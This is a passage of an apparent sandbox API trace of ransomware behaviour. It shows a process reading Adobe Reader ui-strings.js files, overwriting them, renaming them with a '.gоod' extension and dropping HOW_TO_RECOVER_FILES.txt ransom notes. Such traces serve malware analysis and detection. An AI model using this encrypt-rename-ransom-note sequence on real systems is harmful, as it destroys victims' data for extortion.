dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.096] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.096] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0267.096] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0267.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0267.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0267.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0267.096] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp", lpFilePart=0x0) returned 0x76 [0267.096] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ace0 [0267.096] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.096] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.096] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0267.097] FindClose (in: hFindFile=0x134ace0 | out: hFindFile=0x134ace0) returned 1 [0267.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0267.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0267.097] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0267.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0267.097] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3973d58 | out: lpFileInformation=0x3973d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f)) returned 1 [0267.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0267.097] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0267.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0267.097] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0267.097] GetFileType (hFile=0x834) returned 0x1 [0267.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0267.097] GetFileType (hFile=0x834) returned 0x1 [0267.097] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x47f [0267.097] ReadFile (in: hFile=0x834, lpBuffer=0x3974580, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3974580*, lpNumberOfBytesRead=0x208ebf98*=0x47f, lpOverlapped=0x0) returned 1 [0267.579] CloseHandle (hObject=0x834) returned 1 [0268.699] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0268.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0268.699] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0268.700] GetFileType (hFile=0x89c) returned 0x1 [0268.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0268.700] GetFileType (hFile=0x89c) returned 0x1 [0268.700] WriteFile (in: hFile=0x89c, lpBuffer=0x3ae3940*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x3ae3940*, lpNumberOfBytesWritten=0x208ebea8*=0x480, lpOverlapped=0x0) returned 1 [0268.700] CloseHandle (hObject=0x89c) returned 1 [0268.700] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0268.700] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0268.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0268.700] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9c5faac6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0268.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0268.701] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\ui-strings.js.gоod")) returned 1 [0268.702] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0268.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0268.702] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x89c [0268.703] GetFileType (hFile=0x89c) returned 0x1 [0268.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0268.703] GetFileType (hFile=0x89c) returned 0x1 [0268.703] WriteFile (in: hFile=0x89c, lpBuffer=0x3ae7240*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x3ae7240*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0268.704] CloseHandle (hObject=0x89c) returned 1 [0268.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0268.704] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr", lpFilePart=0x0) returned 0x76 [0268.704] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0268.705] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.705] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0268.705] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0268.705] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0268.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0268.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0268.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0268.705] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr", lpFilePart=0x0) returned 0x76 [0268.706] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0268.706] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.706] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0268.706] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0268.706] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0268.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0268.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0268.706] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0268.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0268.707] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3af7118 | out: lpFileInformation=0x3af7118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465)) returned 1 [0268.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0268.707] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0268.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0268.707] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0268.707] GetFileType (hFile=0x89c) returned 0x1 [0268.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0268.707] GetFileType (hFile=0x89c) returned 0x1 [0268.707] GetFileSize (in: hFile=0x89c, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x465 [0268.707] ReadFile (in: hFile=0x89c, lpBuffer=0x3af7928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3af7928*, lpNumberOfBytesRead=0x208ebf98*=0x465, lpOverlapped=0x0) returned 1 [0268.708] CloseHandle (hObject=0x89c) returned 1 [0268.741] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0268.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0268.741] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0268.742] GetFileType (hFile=0x89c) returned 0x1 [0268.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0268.742] GetFileType (hFile=0x89c) returned 0x1 [0268.742] WriteFile (in: hFile=0x89c, lpBuffer=0x3b70428*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x3b70428*, lpNumberOfBytesWritten=0x208ebea8*=0x470, lpOverlapped=0x0) returned 1 [0268.742] CloseHandle (hObject=0x89c) returned 1 [0268.742] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0268.742] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0268.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0268.742] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9c646f1b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x470)) returned 1 [0268.743] SetThreadErrorMode (dwNewMode=0x0, 